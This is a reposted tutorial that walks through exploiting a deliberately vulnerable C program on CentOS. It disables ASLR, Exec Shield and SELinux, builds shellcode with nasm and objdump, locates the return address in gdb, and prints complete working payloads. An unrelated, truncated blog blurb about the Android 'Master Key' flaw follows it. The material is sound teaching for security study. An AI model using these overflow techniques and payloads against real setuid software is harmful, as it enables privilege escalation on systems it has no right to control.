Writing Buffer Overflows 15 October 2013 Required Tools: gcc gdb nasm ld objdump python This tutorial also assumes that you have a CentOS test environment. This tutorial uses a fresh CentOS 6.3 virtual machine running on Oracle Virtual Box with 512 MB of RAM and an 8 GB hard drive. The tutorial also assumes Python 2. Python version 2.6 was used for documentation. If you have the above tools you'll be able to compile all the code and test it out on your CentOS box. Note that you will need root privileges to make some of the modifications specified. To install the above software on CentOS use: $ sudo yum install gcc gdb nasm ld binutils python Introduction Buffer overflow vulnerabilities are some of the most prolific and dangerous types of attacks in computer security. The problem essentially boils down to two main factors. The first is that C doesn't enforce type checking and therefore if a programmer isn't careful to handle exceptions unexpected behavior may occur. The second problem is that many process programs written in C run with escalated privileges. This means that an exploit of such a program yields effective control at the level of the exploited process. Since many of these processes run as root, or SYSTEM, successfully exploiting them allows a malicious user a privilege escalation that amount to total control over the target machine. Buffer overflow exploits are accomplished by mangling the way that C handles memory allocation. When a program in C begins, or starts a function, it allocates a stack of memory for that particular piece of the program. This stack consists of space for variables and data, as well as pointers to return flow control to the proper place in the stack. This allows stacks to grow dynamically as programs fork and carry out subroutines and other processes. This is efficient because the stack doesn't have to be initialized at the start of the program with room for every possible execution path of the program. Instead, as the program runs, memory is allocated on a per needed bases. Programs don't run in a vacuum, however, and one process can't be allowed to own the stack entirely until it's completion. For this reason the return pointer on these individual pieces of the stack (called stack frames) is critical, so that at the end of the frame execution the processor can return to the original programmatic instructions and continue the program. Because these frames are allocated dynamically and because they are of a fixed size, if a programmer is not careful it becomes possible to pass in more variable data than is reserved on the stack. For instance, if the following represents a frame: ------------------ | data | ------------------ | data | ------------------ | data | ------------------ | data | ------------------ | data | ------------------ | return pointer | ------------------ You can see that there are 5 'slots' for data in the frame, the sixth slot is for the return pointer. What happens if the program tries to write 6 'slots' of data into the frame? An exception probably, but if the attacker is careful they could arbitrarily send the pointer to a different location in memory, perhaps a location that contains malicious code. Turning Off Stack Randomization Before we get too far into this tutorial lets make sure to create an 'easier' environment for our work. The Linux VA patch is a modification to the kernel that allows for stack randomization which makes it much harder to create reliable buffer overflow exploits. This patch randomizes the stack pointer, making it more difficult to find our jump address to kick off the exploit. It's possible to carry out the exploit with this patch enabled, just much more difficult. Check to make sure the Linux VA patch is disabled as follows. First check to see if randomize_va_space is set off (to zero): $ cat /proc/sys/kernel/randomize_va_space 0 Red Hat also implements another layer of protection called Exec Shield. Exec Shield is a form of Dynamic Execution Protection (DEP) that makes certain portions of memory space non-executable. You'll want to disable this protection as well. You can check to see if Exec Shield is enabled using the command: $ cat /proc/sys/kernel/exec-shield 0 If you happen to find either of these enabled (set to a non-zero number) then disable them by adding the following lines to /etc/sysctl.conf (you'll need root to do this): kernel.randomize_va_space = 0 kernel.exec-shield = 0 Finally you can load these new values into the running kernel using the command: sudo sysctl -p The most effective way to do this is to pass in malicious bytecode as part of the 'data' and then overwrite the return pointer with the location of the malicious bytecode. Even this process is tricky though, because the return pointer must point to the exact location of the exploit code or the code will fail. For instance, if the pointer lands in the middle of the exploit code it won't execute properly. A neat trick is to pad the start of the exploit shellcode with NOP (no operation) instructions. When the machine encounters a NOP it simply moves to the next instruction. If there are a series of NOP instructions preceding the malicious shell code then the pointer merely has to hit one of them, and then the instructions will cascade down the NOP's to the shellcode. This technique is called a NOP sled. Other Fine Tuning You may notice that a lot of tutorials online have a bunch of documentation that points to examining the core dumps of programs that throw segmentation faults. When utilizing your own modern Linux box you might find that your buffer overflow attempts are causing a segmentation fault, but not a core dump. Core dumps can be controlled (if you have sufficient privileges) at the command line as part of your user profile. To check if you have core dump enabled try: $ ulimit -c 0 If you see the above output (a zero) it means your don't have the ability to view core dumps. Go ahead and change that using: $ ulimit -c unlimited This will enable you to view the core dump of your files using GDB. The syntax is: $ gdb Where is the name of the program that just caused the segmentation fault and is the name of the core dump file (note that this won't always be 'core'). Also make sure that SELinux is turned off. You can check the status of SELinux using: $ cat /selinux/enforce If you get a no such file error then SELinux is turned off. Otherwise edit the file /etc/selinux/config and change the value to disabled and restart your machine. A Further Look at Stack When you read about buffer overflows you'll read a lot about stacks, heaps, frames and the buffer. It's all a little confusing, even if you understand some of the topics, so it's worth examining more closely. As programs are executed they are assigned blocks of memory. Ultimately these are just places in RAM. The processor runs through blocks of memory in order's supplied to them by the 'register'. The register keeps track of what instructions are to be passed to the processor and where they are located. When a program starts it is assigned a block of memory that looks something like this: --------------------------- | Arguments and variables | --------------------------- | Stack | --------------------------- | Stack | --------------------------- | Unused Memory | --------------------------- | Unused Memory | --------------------------- | Heap | --------------------------- | Program Data | --------------------------- Ok, so that looks a little weird, but it easily demonstrates how the stack can grow down and the heap can grow up. Those are the two areas where dynamic memory is utilized. The stack is reserved for dynamic input and function variables. You need this to be dynamic because at run time a program has no idea what sort of input it will get or need to assign to a variable. Some variables might get their value from user input, some from the system, some from reading files, and so on. You can see how it would be impossible for the program to calculate what sort of input it would get (and how that might cause the program to branch) at run time. So the program lines up the instructions in the 'Low Addresses' (the Program Data) part of the diagram. As it runs into blocks of code it allocates space on the stack to hold the variables. So lets say the program starts with main(). The computer allocates a frame on the stack for the main() function that holds it's variables, etc. So the stack looks something like: ----------------- | data | | data | | return address | ----------------- I've drawn this upside down because it's easier to understand as a stack in this orientation. now the register points at the top of the frame and begins to feed instructions into the processor. Let's say the program calls a function called foo() in main() though. What happens then? Well, a new frame is added to the stack, with the return pointer at the end showing the register where to move next once it's done with the particular frame. Now the stack might look something like: ----------------- | data | | return address | ----------------- | data | | data | | return address | ----------------- With the variables for foo() on top of the stack. The return pointer is at the end showing the register where to move in the stack to pick back up in main() at the point after the function foo() is called. It is important to note that these pointers show the register where to return to execute program instructions, values that are usually held in the bottom of the stack as program data. Knowing this you can see why a return pointer is necessary, rather than having the program just chew down the stack. A Look at the Victim Let's examine the following code for the blame program. The code actually makes a rudimentary attempt to prevent a buffer overflow exploit, but one which doesn't work. #include <stdio.h>#include <string.h> #define INPUT_BUFFER 256 /* maximum name size */ /* * read input, copy into s * gets() is insecure and prints a warning * so we use this instead */ void getlines(char *s) { int c; while ((c=getchar()) != EOF) *s++ = c; *s = '\0'; } /* * convert newlines to nulls in place */ void purgenewlines(char *s) { int l; l = strlen(s); while (l--) if (s[l] == '\n') s[l] = '\0'; } int main() { char scapegoat[iNPUT_BUFFER]; getlines(scapegoat); /* this check ensures there's no buffer overflow */ if (strlen(scapegoat) < INPUT_BUFFER) { purgenewlines(scapegoat); printf("It's all %s's fault.\n", scapegoat); } return 0; } Looking at the code you can see that the main() function sets up the char variable scapegoat with a size set to the constant INPUT_BUFFER (which is 256). A pointer to this variable is now passed to the getline() function which copies the program's input using getchar() into the variable scapegoat. The problem with this function is even after the getline() function finishes and control returns to main() the buffer has been overflown, so the check for length that occurs as the next instruction: if (strlen(scapegoat) < INPUT_BUFFER) { happens too late (the chicken has already flown the coop). Let's begin to explore how this particular buffer overflow works. Copy the code above into a text file on your CentOS machine and save it as blame.c then compile it using the command (which will disable some additional stack protections implemented by the compiler): $ gcc -fno-stack-protector -z execstack blame.c -o blame Overflowing the Buffer First let's ensure that we actually can overflow the buffer. We'll use a little Python at the command line to create some input then check out what is going on using gdb. First I'll demonstrate blame working correctly, however: $ echo foo | ./blameIt's all foo's fault.$ python -c 'print "A"*456' | ./blameSegmentation fault You should see the program crash and a new core file in your current directory (note that the extension may vary since it's the process ID (PID) of the program when it crashes): $ lsblame blame.c core.1291 You can look at this core file using gdb like so: $ gdb blame core.1291 GNU gdb (GDB) Red Hat Enterprise Linux (7.2-60.el6_4.1)Copyright (C) 2010 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details.This GDB was configured as "i686-redhat-linux-gnu".For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>...Reading symbols from /home/justin/blame...(no debugging symbols found)...done.[New Thread 1291]Missing separate debuginfo for Try: yum --disablerepo='*' --enablerepo='*-debug*' install /usr/lib/debug/.build-id/05/14ca88cad3d3d3eee1b7561eaf052da205c024Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.Loaded symbols for /lib/libc.so.6Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.Loaded symbols for /lib/ld-linux.so.2Core was generated by `./blame'.Program terminated with signal 11, Segmentation fault.#0 0x41414141 in ?? ()Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.107.el6_4.4.i686 We can see that there was a termination on 0x41414141. It is not by coincidence since 41 is the numeric equivalent of the ASCII character for capital A. We can use gdb to show us the values of all the registers in memory at the time of the crash. This will show us the value of the effective base pointer (ebp) as well as the effective stack pointer (esp) that correspond to values the computer is using to track execution in the memory stack. To view pointers use the info registers command in gdb like so: (gdb) info registerseax 0x0 0ecx 0x20 32edx 0x5 5ebx 0x2c3ff4 2899956esp 0xbffff630 0xbffff630ebp 0x41414141 0x41414141esi 0x0 0edi 0x0 0eip 0x41414141 0x41414141eflags 0x10216 [ PF AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 Looking at the output you can see that the ebp and the eip have both been overwritten with a series of ASCII A's. The eip in particular is the pointer to the next instruction, and the memory address 0x41414141 falls outside of our stack range and thus the program crashed. [h=4]A Simple Fix[/h] A simple change in the function will prevent this behavior, but you can easily see how a vulnerability such as this could be overlooked. If getline is rewritten as: void getlines(char *s) { int c; int x = 0; while ((c=getchar()) != EOF && x < INPUT_BUFFER - 1) { *s++ = c; x++; } *s++ = '\0'; } The program functions safely regardless of the input size. This modification also prevents the gnarly segfault errors from showing up, effectively handling exceptions in a cleaner manner. [h=4]Back to Our Regularly Scheduled Exploit[/h] Ok, so now back to our exploit. We know now that an input size of 356 bytes will cause a buffer overflow and overwrite the eip. If we can exploit this weakness we can cause the program to execute some arbitrary commands. Let's begin with what is arguably the most difficult part of this process, our shellcode. While there are shellcode generators out there online, it's a lot easier to be able to build your own, especially if you want to be able to craft very specific behavior out of your buffer overflow. [h=4]Generating Shellcode[/h] Let's create some shellcode that makes blame print out the output "Now I p0wn your computer" instead of it's normal function. Usually you'll want a buffer overflow to spawn a shell or perhaps open a backdoor listening port on the target computer, but we'll keep it simple for now. Shellcode, often referred to as bytecode, is basically just assembly language. Now, don't worry if you don't know a whole lot of assembly at this point, we're going to leverage some tools to help make it easier. The first thing we want to do is create a program to test our bytecode. Using the following: /*shellcodetest.c*/char shellcode[] = "substitute shellcode here"; int main(int argc, char **argv) { int (*func)(); func = (int ()) shellcode; (int)(*func)(); } We can substitute our shellcode for the "substitute shellcode here" portion. Go ahead and create the file shellcode.c by cutting and pasting the above. Next compile this program so we can use it (I'm assuming you know how to compile raw C code but I'll go ahead and be explicit here just in case): $ gcc -o shellcodetest shellcodetest.c This creates the executable shellcodetest in the current working directory. Now, it isn't going to work at this point since we don't actually have any shellcode assigned to the shellcode[] variable. Let's go ahead and tackle that challenge now. For this task we're totally going to gank the hello.asm code from Shellcoding for Linux and Windows Tutorial (see citations below) and modify it to suit our purposes. You can use C to generate your shellcode as well, but there are some problems that crop up along the way. For instance, you cannot have any null bytes (\x00) in your shellcode or it is interpreted as the end of text input (as the getchar() or other input function in the C program is reading input it stops as soon as it encounters a null, thus your shellcode won't be loaded into memory entirely). For now we'll gloss over how to modify your assembly code using 'xor' to get rid of these null bytes and keep things simple. The code we're going to use is as follows: ;hello.asm[SECTION .text] global _start _start: jmp short ender starter: xor eax, eax ;clean up the registers xor ebx, ebx xor edx, edx xor ecx, ecx mov al, 4 ;syscall write mov bl, 1 ;stdout is 1 pop ecx ;get the address of the string from the stack mov dl, 24 ;length of the string int 0x80 xor eax, eax mov al, 1 ;exit the shellcode xor ebx,ebx int 0x80 ender: call starter ;put the address of the string on the stack db 'now I p0wn your computer' If we were really l337 we'd use 'now I p0wn j00r b0x3n' as our string, but that's another tutorial For now we do the following: $ nasm -f elf hello.asm$ ld -o hello hello.o You can confirm that everything worked properly by executing the hello program at the command line: $ ./hellonow I p0wn your computer$ Once you're sure your assembly code works it's time to look at the source so that we can pull out the hexidecimal instructions to introduce into our shellcode: $ objdump -d hello hello: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: eb 19 jmp 804809b <ender> 08048082 <starter>: 8048082: 31 c0 xor %eax,%eax 8048084: 31 db xor %ebx,%ebx 8048086: 31 d2 xor %edx,%edx 8048088: 31 c9 xor %ecx,%ecx 804808a: b0 04 mov $0x4,%al 804808c: b3 01 mov $0x1,%bl 804808e: 59 pop %ecx 804808f: b2 18 mov $0x18,%dl 8048091: cd 80 int $0x80 8048093: 31 c0 xor %eax,%eax 8048095: b0 01 mov $0x1,%al 8048097: 31 db xor %ebx,%ebx 8048099: cd 80 int $0x80 0804809b <ender>: 804809b: e8 e2 ff ff ff call 8048082 <starter> 80480a0: 6e outsb %ds:(%esi),(%dx) 80480a1: 6f outsl %ds:(%esi),(%dx) 80480a2: 77 20 ja 80480c4 <ender+0x29> 80480a4: 49 dec %ecx 80480a5: 20 70 30 and %dh,0x30(%eax) 80480a8: 77 6e ja 8048118 <ender+0x7d> 80480aa: 20 79 6f and %bh,0x6f(%ecx) 80480ad: 75 72 jne 8048121 <ender+0x86> 80480af: 20 63 6f and %ah,0x6f(%ebx) 80480b2: 6d insl (%dx),%es:(%edi) 80480b3: 70 75 jo 804812a <ender+0x8f> 80480b5: 74 65 je 804811c <ender+0x81> 80480b7: 72 .byte 0x72 What we're doing here is using the programs nasm, ld, and objdump. The important values (the good stuff) are contained in the second column of the output (the part on the second line that reads 'eb 19'). If you copy all of these out and preface them with "\x" then you have valid shellcode. So copying out the above example gives us the following 56 instructions: eb 19 31 c0 31 db 31 d2 31 c9 b0 04 b3 01 59 b2 18 cd80 31 c0 b0 01 31 db cd 80 e8 e2 ff ff ff 6e 6f 77 2049 20 70 30 77 6e 20 79 6f 75 72 20 63 6f 6d 70 75 7465 72 We transform this into shellcode and put it into our test program above: /* revised shellcodetest.c *//* now with working code */ char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3"\ "\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"\ "\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72"\ "\x20\x63\x6f\x6d\x70\x75\x74\x65\x72"; main(int argc, char **argv) { int (*func)(); func = (int ()) code; (int)(*func)(); } Lets test out the above code to make sure it works. Save the modified file as shellcodetest.c. Next we'll have to compile the program using gcc and a couple of handy flags that will disable stack protection and stack execution protection as they are enabled in the compiler itself. Compile it using the following command (note this is just one line): $ gcc -fno-stack-protector -z execstack -o shellcodetest shellcodetest.c Then test the shellcode to see if it works: $ ./shellcodenow I p0wn your computer [h=4]Injecting the Shellcode[/h] Ok, the next part of the process is to actually inject the shellcode into a running process with a buffer overflow exploit. First let's examine our overflow of the blame program. We know that with 356 bytes of A's that the eip is overwritten with four bytes worth of A's, or 0x41414141. If we examine this behavior more closely we'll find that the A's that overwrite the eip aren't in fact the last four A's of the payload. $ python -c 'print "A"*100 + "B"*56 + "C"*300' | ./blameSegmentation fault (core dumped)$ lsblame blame.c core.1291 core.1315 We can now look at this new core file, noting that it crashed at an illegal instruction at 0x43434343 and that the eip is overwritten with 43's, or the ASCII numeric representation of the letter C. $ gdb blame core.1315[New Thread 1315]Core was generated by `./blame'.Program terminated with signal 11, Segmentation fault.#0 0x43434343 in ?? ()(gdb) i reax 0x0 0ecx 0x20 32edx 0x9 9ebx 0x2c3ff4 2899956esp 0xbffff630 0xbffff630ebp 0x43434343 0x43434343esi 0x0 0edi 0x0 0eip 0x43434343 0x43434343eflags 0x10216 [ PF AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 You'll notice I used a shorthand for the info registers command by simply typing i r to get the same data. This technique of running the program, dumping the core, then examining the core file with gdb is handy, but somewhat time consuming. What we actually want to do is run this process from within gdb to cut down on time. We can do this by firing up gdb and running the blame program and redirecting input from a file. We can jump out of gdb at any time to modify this text file using: (gdb) shell$ Then returning to gdb using the command: $exit(gdb) This will allow us to modify our input text file quickly and easily. What we're trying to do is use A, B, and C to line up four bytes in the eip that we can use to point to our shell code. When we can overwrite the eip, and only the eip, with four letter B's then we know exactly how to align our buffer overflow so that the overwritten eip is within our control (and can be used to point to our shellcode). Let's get started as follows: $ python -c 'print "A"*100 + "B"*4 + "C"*250' > input$ cat inputAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [... snip ...]$ gdb blame(gdb) run blame < inputStarting program: /home/justin/blame blame < inputProgram received signal SIGSEGV, Segmentation fault.0x43434343 in ?? ()(gdb) i reax 0x0 0ecx 0x20 32edx 0x3 3ebx 0x2c3ff4 2899956esp 0xbffff5f0 0xbffff5f0ebp 0x43434343 0x43434343esi 0x0 0edi 0x0 0eip 0x43434343 0x43434343eflags 0x10212 [ AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 It looks like on our first try the eip is being overwritten with C characters, so let's increase the number of A's and decrease the number of C's like so: (gdb) shell$ python -c 'print "A"*300 + "B"*4 + "C"*52' > input$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < inputProgram received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb) i reax 0x0 0ecx 0x20 32edx 0x5 5ebx 0x2c3ff4 2899956esp 0xbffff5f0 0xbffff5f0ebp 0x41414141 0x41414141esi 0x0 0edi 0x0 0eip 0x41414141 0x41414141eflags 0x10216 [ PF AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 As we can see we have overshot the mark and now eip is overwritten with A's. We continue this process until we can narrow in on a way to place the B's over the eip like so: (gdb) shell$ python -c 'print "A"*250 + "B"*4 + "C"*102' > input$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < inputProgram received signal SIGSEGV, Segmentation fault.0x43434343 in ?? ()(gdb) shell$ python -c 'print "A"*270 + "B"*4 + "C"*82' > input$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < inputProgram received signal SIGSEGV, Segmentation fault.0x42424141 in ?? () And now you can see I've managed to get a couple of B's (ASCII 42) into the eip so that I now know that to overwrite the eip with B's I need 268 A's first, then my B's then 84 C's. (gdb) shell$ python -c 'print "A"*268 + "B"*4 + "C"*84' > input$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < input Program received signal SIGSEGV, Segmentation fault.0x42424242 in ?? ()(gdb) i reax 0x0 0ecx 0x20 32edx 0x5 5ebx 0x2c3ff4 2899956esp 0xbffff5f0 0xbffff5f0ebp 0x41414141 0x41414141esi 0x0 0edi 0x0 0eip 0x42424242 0x42424242eflags 0x10216 [ PF AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 And viola, now I have the exact boundaries of my exploit! Now, let's add our shellcode (which is 54 bytes long) to the end, replacing the 84 C characters and using a NOP sled at the beginning. We can then use gdb to examine the actual contents of the stack, in this case looking at the 256 bytes that come after the esp and check to ensure that our shell code is actually there: (gdb) shell$ python -c 'print "A"*268 + "B"*4 + "\x90"*30 + "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72\x20\x63\x6f\x6d\x70\x75\x74\x65\x72"' > input$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < input Program received signal SIGSEGV, Segmentation fault.0x42424242 in ?? ()(gdb) i reax 0x0 0ecx 0x20 32edx 0x1 1ebx 0x2c3ff4 2899956esp 0xbffff5f0 0xbffff5f0ebp 0x41414141 0x41414141esi 0x0 0edi 0x0 0eip 0x42424242 0x42424242eflags 0x10216 [ PF AF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51(gdb) x/256xb $esp0xbffff5f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff5f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff600: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff608: 0x90 0x90 0x90 0x90 0x90 0x90 0xeb 0x190xbffff610: 0x31 0xc0 0x31 0xdb 0x31 0xd2 0x31 0xc90xbffff618: 0xb0 0x04 0xb3 0x01 0x59 0xb2 0x18 0xcd0xbffff620: 0x80 0x31 0xc0 0xb0 0x01 0x31 0xdb 0xcd0xbffff628: 0x80 0xe8 0xe2 0xff 0xff 0xff 0x6e 0x6f0xbffff630: 0x77 0x20 0x49 0x20 0x70 0x30 0x77 0x6e0xbffff638: 0x20 0x79 0x6f 0x75 0x72 0x20 0x63 0x6f0xbffff640: 0x6d 0x70 0x75 0x74 0x65 0x72 0x0a 0x000xbffff648: 0x02 0x00 0x00 0x00 0x70 0x83 0x04 0x080xbffff650: 0x00 0x00 0x00 0x00 0x20 0x4d 0x12 0x000xbffff658: 0x0b 0xcc 0x14 0x00 0xc4 0xef 0x12 0x000xbffff660: 0x02 0x00 0x00 0x00 0x70 0x83 0x04 0x080xbffff668: 0x00 0x00 0x00 0x00 0x91 0x83 0x04 0x080xbffff670: 0x8d 0x84 0x04 0x08 0x02 0x00 0x00 0x000xbffff678: 0x94 0xf6 0xff 0xbf 0xf0 0x84 0x04 0x080xbffff680: 0xe0 0x84 0x04 0x08 0xa0 0xf4 0x11 0x000xbffff688: 0x8c 0xf6 0xff 0xbf 0x00 0x00 0x00 0x000xbffff690: 0x02 0x00 0x00 0x00 0xc0 0xf7 0xff 0xbf0xbffff698: 0xd3 0xf7 0xff 0xbf 0x00 0x00 0x00 0x000xbffff6a0: 0xd9 0xf7 0xff 0xbf 0xf8 0xf7 0xff 0xbf0xbffff6a8: 0x08 0xf8 0xff 0xbf 0x1c 0xf8 0xff 0xbf0xbffff6b0: 0x2a 0xf8 0xff 0xbf 0x4b 0xf8 0xff 0xbf0xbffff6b8: 0x5e 0xf8 0xff 0xbf 0x6a 0xf8 0xff 0xbf0xbffff6c0: 0x77 0xfe 0xff 0xbf 0x83 0xfe 0xff 0xbf0xbffff6c8: 0xd6 0xfe 0xff 0xbf 0xf2 0xfe 0xff 0xbf0xbffff6d0: 0x01 0xff 0xff 0xbf 0x12 0xff 0xff 0xbf0xbffff6d8: 0x26 0xff 0xff 0xbf 0x37 0xff 0xff 0xbf0xbffff6e0: 0x40 0xff 0xff 0xbf 0x57 0xff 0xff 0xbf0xbffff6e8: 0x69 0xff 0xff 0xbf 0x71 0xff 0xff 0xbf You can see our shell code neatly nestled in between two NOP sleds. Let's choose an arbitrary memory address in the preceeding NOP sled to use as our target, say 0xbffff5f8. Instead of overwriting the eip with B's we'll instead overwrite the eip with our target address, which should land code execution in the middle of the NOP sled, then proceed down to our shell code. Due to the vagaries of low level architecture, we have to rewrite this address in little endian format (if you overlook this then your address won't work), so it becomes: \xf8\xf5\xff\xbf Now, lets plug this value in for the "BBBB" part in our payload and test it out: (gdb) shell$ python -c 'print "A"*268 + "\xf8\xf5\xff\xbf" + "\x90"*30 + "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72\x20\x63\x6f\x6d\x70\x75\x74\x65\x72"' > input[justin@localhost ~]$ exitexit(gdb) run blame < inputThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/justin/blame blame < inputnow I p0wn your computerProgram exited normally. And there you have it. Now, at this point the payload will only work in the gdb environment. In order to get it working in the wild we'll have to be a little more creative. [h=4]Release the 'Sploit[/h] Now that we've got our shellcode injection and buffer overflow working inside gdb it's time to turn our attention to use of the exploit in the wild. Although our exploit works inside a debugging environment, you might be surprised to learn that it won't actually work at the command line. You can test this like so: $ python -c 'print "A"*268 + "\xf8\xf5\xff\xbf" + "\x90"*30 + "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72\x20\x63\x6f\x6d\x70\x75\x74\x65\x72"' | ./blameIllegal instruction This is odd since the overflow worked perfectly inside of our debugger. There are a couple of reasons for this. The first is due to the debugger itself, which, when run, actually uses up memory addresses on it's own, and pushes off the address of the blame program. This makes sense as we are using the debugger to observe and report on the operation of blame, gdb itself must first be loaded into memory. The second reason that the exploit won't work involves the way that memory is abstracted for programs to use. Your computer has a whole bunch of memory, probably gigabytes. Although each program gets an allocation of this total memory when it runs, the kernel actually makes the memory appear as though it is solely for the use of a particular program. In other words, the kernel lies to the program. When a program starts up the kernel recognizes the program and reports to the program that it has pretty much all the memory it wants: Oh sure blame, here's 8 GB of memory, have at it! In reality the blame program only gets a small fraction of the total memory. In addition to the lie that the kernel tells programs about how much memory they have, the kernel also does something that is actually designed for convenience. In order to make it easier for programs to run, and access memory, the kernel actually tells programs that not only do they get all the memory that they want, but that they are running at the very bottom of the memory space, and can use all the upward space they want. As we saw before, we're overwriting a memory address around 0xbffff5f8, which is very close to the top of the memory space at 0xffffffff. Our program thinks it has all the memory it wants! In order to make our exploit work in the wild we're going to have to be a little more careful about how we overflow the buffer. In our work with gdb we were smashing through the allocated 256 byte buffer, over the return pointer, and off into the the rest of program memory. We were loading our exploit code into another stack frame entirely, which didn't much matter in our gdb exploit, but it was pretty sloppy. A better strategy would have been to write our NOP sled at the start of our input buffer, place the exploit code next, and use the final four bytes to overwrite the pointer. This would reduce the overall size of our exploit to the 212 byte NOP sled, the 56 bytes of instructions, and a 4 byte overwrite (for a total of 272 bytes. Although this makes a smaller, and neater, exploit it still leaves us the problem of finding an address location in our NOP sled. In order to inspect a typical stack layout we can use a simple program, that allocates some stack space, and then reports on the memory location of that space. Copy in the following program to do just that: /**** show_sp.c ****/#include <stdio.h> int main(void) { char buffer[256]; char buffer2[6]; printf("First var: 0x%x\n", &buffer); printf("Next var: 0x%x\n", &buffer2); return 0; } You'll note that by listing the variable name with an ampersand preceding it the output will contain the address of the start of the variable rather than the contents of the variable (its value). Using these two values we can gauge where in memory we will need to point our exploit payload towards. Compile and run this program to get a better idea of what the address space we're looking for will resemble: $ gcc -fno-stack-protector -z execstack -o show_sp show_sp.c [justin@localhost ~]$ ./show_sp First var: 0xbffff520 Next var: 0xbffff51a These address spaces look fairly familiar. Let's try using the First var value for our instruction pointer: $ python -c 'print "\x90"*212 + "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72\x20\x63\x6f\x6d\x70\x75\x74\x65\x72"' | ./blame now I p0wn your computer And the exploit works! Now, this program (and the injected shellcode) was pretty benign, but if we were to change the shellcode to do something more malicious, or if the program had been a suid program (set to run as another user, typically root) then we could have leveraged the privilege escalation to do all sorts of things. [h=4]Sources and Recommended Reading:[/h] Smashing The Stack For Fun And Profit by Aleph One (Phrack 49 - 14) Writing buffer overflow exploits - a tutorial for beginners by Mixter Shellcoding for Linux and Windows Tutorial by steve hanna Metasploit Framework Web Console Buffer Overflow Tutorial by Preddy - RootShell Security Group How Shellcodes Work by by Peter Mikhalenko (5/18/2006) Buffer Overflows Demystified by Murat Balaban Introduction to Buffer Overflow by Ghost_Rider Linux Assembly Memory Layout and the Stack By Peter Jay Salzman Copyright © Justin C. Klein Keane. Unauthorized reproduction is a violation of US and international law. Articol complet: Mad Irish :: Writing Buffer Overflows
-
[h=1]Learn about the “Master Key” vulnerability![/h] By Henry Dalziel Information Security Blogger Inside the Concise Courses bat cave, three of us have Droids and two have iPhones. The iPhone carriers are the arty ones, whilst the nerds have Droids! If you are interested in mobile phone security with particular reference to the Android “Master Key” vulnerability then you must get yourself registered to watch an amazing Hacker Hotshot web show with Jeff Forristal titled: “Android: One Root To Own Them All.” Jeff, will be our 109th Hacker Hotshot Expert Speaker, and by our reckoning, our 5th cell-phone/ mobile/ android related presenter, and we are delighted to welcome him to the show – particularly because of his experience and knowledge. Quick look at the what the Android “Master Key” vulnerability is/ was: This was a major discovery and discovered by Jeff and his team over at Bluebox Labs. In short, and Jeff will likely further expand on this, the Android vulnerability allows a hacker to maliciously modify the APK code without changing the application’s cryptographic signature. The end result is potentially malicious Trojans that go completely unnoticed within the app store, the phone, or the end user! The implications are enormous of course! This vulnerability, according to research by Jeff’s team, could affect any Android phone released over the last four years which represents over 900 million devices. Android Malware is a serious problem and for a long time went relatively unnoticed. In fact, we recently spoke about this with Gary Warner from Malcovery when he presented: “Malware, Phishing: the Need for Intelligent Response”. One of the questions at the end stated that the Juniper Mobile Threat Center 